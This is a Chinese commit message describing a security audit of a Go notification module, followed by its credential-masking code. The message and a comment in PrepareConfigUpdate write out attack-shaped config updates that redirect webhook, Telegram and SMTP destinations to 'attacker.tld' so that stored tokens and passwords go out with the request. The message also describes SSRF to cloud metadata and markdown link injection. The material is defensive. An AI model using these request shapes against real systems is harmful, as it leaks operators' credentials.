对推送功能做了一轮安全审计,每条都先复现、再修、再补回归测试。 以下按严重程度排列。 【严重】掩码可被「改目标地址、保留凭据」绕过 目标地址与凭据是两套独立字段,而配置合并对「未提及的键」保留原值。于是 只改地址、对凭据避而不谈,服务端就会把库里的真凭据发到任意地址。已实测 复现四个渠道:通用 Webhook 的 Authorization 头、Telegram 的 Bot Token (进请求路径)、邮件的 SMTP 密码(STARTTLS 后交给对端)、钉钉/飞书的加签 密钥(该项不可利用,一并列出仅为说明面)。完全静默、不依赖重定向,所以 上一轮加的「拒绝跨主机跳转」挡不住它。 修法:新增 Channel.DestinationKeys() 声明「消息发往哪」,PrepareConfigUpdate 在地址变化时要求对**每一个**凭据字段显式表态(给新值,或显式留空表示不再 需要)——原样回传掩码值等于「沿用旧凭据」,正是攻击形状,一并拒绝。 刻意不做「自动丢弃凭据」:对可选字段(如 headers)那会变成「鉴权静默没了 但接口返回成功」,比报错更难排查。 【中】markdown 系三渠道对不可信内容零转义 钉钉/企微/飞书此前完全不转义(Telegram 与邮件都做了),而标题与摘要来自 模型输出、资产 url 来自被测目标。一条标题里的 `[文字](http://evil)` 会在 工程师的钉钉里变成可点击外链;`` 会被客户端拉取, 泄露阅读者 IP 并暴露「这条已被看过」。现统一单行化 + markdown 元字符转义。 修的过程中还纠了自己一个设计错误:转义一度被放进 markdownTitle,而它被 markdown 正文、Telegram 的 HTML、飞书卡片、Webhook 的 JSON 与邮件主题四种 语境共用,markdown 的反斜杠泄漏到了 Telegram 消息里(用户会看到 `\(1\)`)。 转义必须发生在各自的渲染出口——测试直接抓到了这个回归。 【中】投递地址的 SSRF 面 此前只校验 scheme 与 host,云元数据 169.254.169.254、环回、内网一律可投递; 而失败响应体前 200 字节会进 last_error 并被投递历史接口回显,构成半盲读 原语。现在在**拨号阶段**设防(最终生效点,同时覆盖 DNS 重绑定与同主机 重定向)。环回/链路本地需显式 ARTEX_NOTIFY_ALLOW_LOCAL=1 才放行(本机 SMTP 中继是合法配置);RFC1918 私网**刻意放行**——内网自建 Mattermost / SMTP 很常见,做到那个程度会把正常部署一起废掉,这条取舍写进了测试断言。 【中】汇总消息被截断后整批标记已送达 = 静默丢失 渠道都有长度上限(企微 4096 字节最紧)。此前渲染完整篇再截断、然后整批 标记成功:被截掉的那些既不在消息里、也不在失败列表里,投递历史还显示 成功。现改为按**整条**打包,只标记真正装下的,其余回队续发,消息头部 如实写明还有多少条在下一条。被推迟的条目**不消耗重试次数**(领取时乐观 +1 的那次减回去),否则 500 条的积压会在第三段就把尾部判成失败。 【中】其余修复 - min_severity 打错字让过滤器静默失效(未知级别序数为 0 → rank>=0 恒真, 用户以为「仅高危」实际全推)。改为写入时校验取值。 - rate_per_min=0(不限流)不可达:文档/UI/令牌桶都按 0=不限流解释,唯独 写库那层 `if <=0 取默认值` 把它改成 20 或 100。默认值改到接口层填。 - digest 渠道完全绕过令牌桶(allow 被扣却没人用)。 - 失败处置按整批 max(attempts) 判断,让老投递连坐同批的新投递。 - 汇总批次里快照无法解析的投递被静默标记成功。 - url.Parse 失败时错误文本仍带完整地址(上一轮只修了 http.Client.Do 那侧; 且当时的用例全走 scheme 分支、没覆盖解析失败路径,是假保证)。 - 单渠道每轮投递条数可能超出租约时长(多实例下重复发送)。加了防漂移 断言,写的时候立刻发现原取值 6 恰好用满租约、零余量,已改 5。 - Telegram 截断可能切断 HTML 实体,导致整条被拒收。 - 邮件把 SMTP 4xx(灰名单等临时失败)判成永久失败,最该重试的场景从不重试。 - 提交嵌套结构时会把掩码字面量真的写进库,导致鉴权静默失效。 测试:notify 包从 82% 提到 86%,新增 SSRF 守卫、掩码绕过(用攻击形状的 输入而非「防御逻辑的正确输入」)、分段投递收敛、markdown 转义、SMTP 4xx/5xx 分类等回归用例;端到端补了一条「60 条长标题跨多轮发完且不卡死」的收敛测试。 Co-Authored-By: Claude Code <[email protected]>
231 lines
9.1 KiB
Go
231 lines
9.1 KiB
Go
package notify
|
||
|
||
import (
|
||
"encoding/json"
|
||
"fmt"
|
||
"strings"
|
||
)
|
||
|
||
// MaskedPrefix 是掩码值的标记前缀。API 回显凭据时用带此前缀的值替换真实内容,
|
||
// 更新接口收到带此前缀的值即理解为「保持库中原值不变」。
|
||
//
|
||
// 用前缀而不是空串或某个固定常量,是为了能顺带带上一点可辨识信息
|
||
// (见 MaskedValue),让用户区分得出「这是哪个机器人」而不必重新粘贴密钥。
|
||
const MaskedPrefix = "__masked__"
|
||
|
||
// MaskedValue 生成一个掩码值:
|
||
//
|
||
// "__masked__" 原值太短,不给任何提示
|
||
// "__masked__:…ab12cd" 带上原值末 6 位作为辨识提示
|
||
//
|
||
// 只暴露末 6 位是刻意选择的:Webhook 地址的辨识信息在末段(如企业微信的 key、
|
||
// 飞书的机器人 id),而前缀部分各机器人相同、没有辨识价值。末 6 位不足以
|
||
// 还原凭据,但足以让配置者认出「是我那个群」。
|
||
func MaskedValue(secret string) string {
|
||
if len(secret) <= 6 {
|
||
return MaskedPrefix
|
||
}
|
||
return MaskedPrefix + ":…" + secret[len(secret)-6:]
|
||
}
|
||
|
||
// IsMasked 报告某个值是否为掩码值(即接口回显后未被修改)。
|
||
func IsMasked(v string) bool { return strings.HasPrefix(v, MaskedPrefix) }
|
||
|
||
// MaskConfig 返回配置的副本,把该渠道的凭据字段替换成掩码值。
|
||
//
|
||
// 未知渠道类型返回空 map 而不是原配置——宁可让 UI 显示「配置不可用」,
|
||
// 也不要在渠道类型无法识别时把可能含凭据的原始内容整个吐回去。
|
||
// 非凭据字段原样保留,UI 才能正常展示。
|
||
func MaskConfig(kind string, cfg map[string]any) map[string]any {
|
||
channel, ok := Get(kind)
|
||
if !ok {
|
||
return map[string]any{}
|
||
}
|
||
secrets := map[string]bool{}
|
||
for _, k := range channel.SecretKeys() {
|
||
secrets[k] = true
|
||
}
|
||
out := make(map[string]any, len(cfg))
|
||
for k, v := range cfg {
|
||
if !secrets[k] {
|
||
out[k] = v
|
||
continue
|
||
}
|
||
// headers 这类嵌套结构整体按一个凭据处理:逐个子键判断需要每个渠道
|
||
// 再声明一套「哪些子键是凭据」的规则,复杂度远超收益。
|
||
if s, ok := v.(string); ok {
|
||
out[k] = MaskedValue(s)
|
||
continue
|
||
}
|
||
out[k] = MaskedPrefix
|
||
}
|
||
return out
|
||
}
|
||
|
||
// ErrDestinationChangedWithoutCredentials 表示「目标地址变了,但调用方没有对
|
||
// 凭据字段表态」。返回它而不是默默放行或默默丢弃凭据,理由见 PrepareConfigUpdate。
|
||
type ErrDestinationChangedWithoutCredentials struct {
|
||
Changed []string // 发生变化的目的地键
|
||
Missing []string // 未显式表态的凭据键
|
||
}
|
||
|
||
func (e *ErrDestinationChangedWithoutCredentials) Error() string {
|
||
return "目标地址(" + strings.Join(e.Changed, "、") + ")已变更,请同时重新填写凭据字段(" +
|
||
strings.Join(e.Missing, "、") + "):填入新值,或显式留空表示不再需要凭据。" +
|
||
"原凭据只对旧地址有效,继续沿用等于把它交给新地址。"
|
||
}
|
||
|
||
// PrepareConfigUpdate 合并渠道配置,并处理「目标地址变更」这一安全敏感情况。
|
||
//
|
||
// 它替代裸的 MergeConfig 用在渠道更新路径上,解决的是这样一条实测可行的路径:
|
||
// 目标地址(消息发往哪)与凭据(用什么身份发)是两套独立字段,而 MergeConfig
|
||
// 对「未提及的键」一律保留库中原值。于是任何能 PATCH 渠道的人只要**只改地址、
|
||
// 对凭据避而不谈**,就能让服务器把库里的真凭据发到自己控制的端点:
|
||
//
|
||
// webhook {config:{url:"https://attacker.tld"}} → 原始 Authorization 头随请求外发
|
||
// telegram {config:{base_url:"https://attacker.tld"}} → /bot<真Token>/sendMessage
|
||
// email {config:{host:"smtp.attacker.tld"}} → STARTTLS 后交出用户名与密码
|
||
//
|
||
// 这条路径完全静默、不依赖重定向(所以拒绝跨主机跳转挡不住它),
|
||
// 而且直接击穿了本包掩码机制的目标——「凭据不回显给浏览器」。
|
||
//
|
||
// 规则:只要某个目的地键被改成新值,调用方就必须对**每一个**凭据键显式表态:
|
||
// - 给出新值 → 用新值
|
||
// - 显式传空串 → 该字段不再需要凭据(保留清空语义)
|
||
// - 原样回传掩码值 / 干脆不提这个键 → 拒绝
|
||
//
|
||
// 第三种之所以也拒绝,是因为「掩码值」的含义正是「沿用旧凭据」,而旧凭据
|
||
// 只对旧地址有效。这里刻意不做「自动丢弃凭据」——那对可选凭据字段
|
||
// (webhook 的 headers、email 的 password)会静默变成「鉴权没了但接口返回 200」,
|
||
// 比报错更难排查。宁可让操作者多填一次。
|
||
func PrepareConfigUpdate(kind string, stored, incoming map[string]any) (map[string]any, error) {
|
||
channel, ok := Get(kind)
|
||
if !ok {
|
||
return nil, fmt.Errorf("渠道类型 %q 未注册", kind)
|
||
}
|
||
secrets := channel.SecretKeys()
|
||
destinations := channel.DestinationKeys()
|
||
|
||
// 非字符串的凭据值(如 webhook 的 headers 是个对象)里若嵌着掩码字面量,
|
||
// 说明调用方把「保持原值」的哨兵塞进了结构体内部。MergeConfig 只认「字符串
|
||
// 且带前缀」为掩码,这种形态会被当普通对象原样存下去——库里真的落下字面量
|
||
// "__masked__",后续鉴权静默失效且没有任何报错。宁可拒掉。
|
||
//
|
||
// 这个检查必须放在**最前面**:地址没变时会走提前返回,放在后面就等于
|
||
// 只覆盖了「改地址」这一条路径(第一版就是这么放错的,测试直接抓到了)。
|
||
if err := rejectMaskedInContainers(incoming, secrets); err != nil {
|
||
return nil, err
|
||
}
|
||
|
||
// 找出真正被改掉的目的地键。掩码值等于「没改」。
|
||
var changed []string
|
||
for _, key := range destinations {
|
||
raw, present := incoming[key]
|
||
if !present {
|
||
continue
|
||
}
|
||
s, isStr := raw.(string)
|
||
if isStr && IsMasked(s) {
|
||
continue
|
||
}
|
||
if !sameConfigValue(raw, stored[key]) {
|
||
changed = append(changed, key)
|
||
}
|
||
}
|
||
if len(changed) == 0 {
|
||
// 地址没变,走普通合并(掩码值保留原值、空串清空、其余覆盖)。
|
||
return MergeConfig(stored, incoming), nil
|
||
}
|
||
|
||
// 地址变了:要求对每个凭据键显式表态。
|
||
var missing []string
|
||
for _, key := range secrets {
|
||
raw, present := incoming[key]
|
||
if !present {
|
||
missing = append(missing, key)
|
||
continue
|
||
}
|
||
if s, isStr := raw.(string); isStr && IsMasked(s) {
|
||
missing = append(missing, key)
|
||
}
|
||
}
|
||
if len(missing) > 0 {
|
||
return nil, &ErrDestinationChangedWithoutCredentials{Changed: changed, Missing: missing}
|
||
}
|
||
return MergeConfig(stored, incoming), nil
|
||
}
|
||
|
||
// rejectMaskedInContainers 拒绝把掩码哨兵嵌在非字符串结构里提交。
|
||
//
|
||
// 掩码机制的前提是「整个值就是个字符串」。像 webhook 的 headers 这种对象字段,
|
||
// 只能整体掩码(写成字符串 "__masked__")或整体提交;把哨兵塞进对象内部
|
||
// 既表达不了「保持不变」,又会被当成真实值存进库。
|
||
func rejectMaskedInContainers(incoming map[string]any, secretKeys []string) error {
|
||
for _, key := range secretKeys {
|
||
raw, present := incoming[key]
|
||
if !present {
|
||
continue
|
||
}
|
||
if _, isStr := raw.(string); isStr {
|
||
continue
|
||
}
|
||
encoded, err := json.Marshal(raw)
|
||
if err != nil {
|
||
continue
|
||
}
|
||
if strings.Contains(string(encoded), MaskedPrefix) {
|
||
return fmt.Errorf("字段 %s 的内容里含掩码标记 %q:该字段只能整体留空表示沿用、或整体提交新值,不能在结构体内部夹带掩码占位",
|
||
key, MaskedPrefix)
|
||
}
|
||
}
|
||
return nil
|
||
}
|
||
|
||
// sameConfigValue 比较两个配置值是否等价。用 JSON 序列化比较是为了顺带处理
|
||
// 类型差异——前端提交的端口是 number,而库里读回来的是 float64,直接 == 会误判。
|
||
func sameConfigValue(a, b any) bool {
|
||
if a == nil && b == nil {
|
||
return true
|
||
}
|
||
ra, errA := json.Marshal(a)
|
||
rb, errB := json.Marshal(b)
|
||
if errA != nil || errB != nil {
|
||
return false
|
||
}
|
||
return string(ra) == string(rb)
|
||
}
|
||
|
||
// MergeConfig 把 incoming 合并到 stored 之上,用于更新渠道配置。
|
||
//
|
||
// 规则:
|
||
// - incoming 里值为掩码的键 → 保留 stored 的原值(用户没改这个字段)
|
||
// - incoming 里值为空串的键 → 视为显式清空,删除该键
|
||
// - 其余键 → 用 incoming 的值覆盖
|
||
// - stored 里有而 incoming 里没有的键 → 保留(局部更新语义)
|
||
//
|
||
// 空串是否算「清空」需要明确:前端表单把未填的字段提交为空串,
|
||
// 若把它当成有效值写入,会把「留空以保留原值」的字段真的清掉。
|
||
// 这里选择显式清空,因为要清除一个设错的字段时,用户没有别的表达方式
|
||
// (拖走字段可区分「未提供」与「提供空值」,但 UI 用不到这个区别)。
|
||
func MergeConfig(stored, incoming map[string]any) map[string]any {
|
||
out := make(map[string]any, len(stored)+len(incoming))
|
||
for k, v := range stored {
|
||
out[k] = v
|
||
}
|
||
for k, v := range incoming {
|
||
if s, ok := v.(string); ok {
|
||
if IsMasked(s) {
|
||
continue // 掩码值 = 未修改,保留 stored
|
||
}
|
||
if strings.TrimSpace(s) == "" {
|
||
delete(out, k)
|
||
continue
|
||
}
|
||
out[k] = s
|
||
continue
|
||
}
|
||
out[k] = v
|
||
}
|
||
return out
|
||
}
|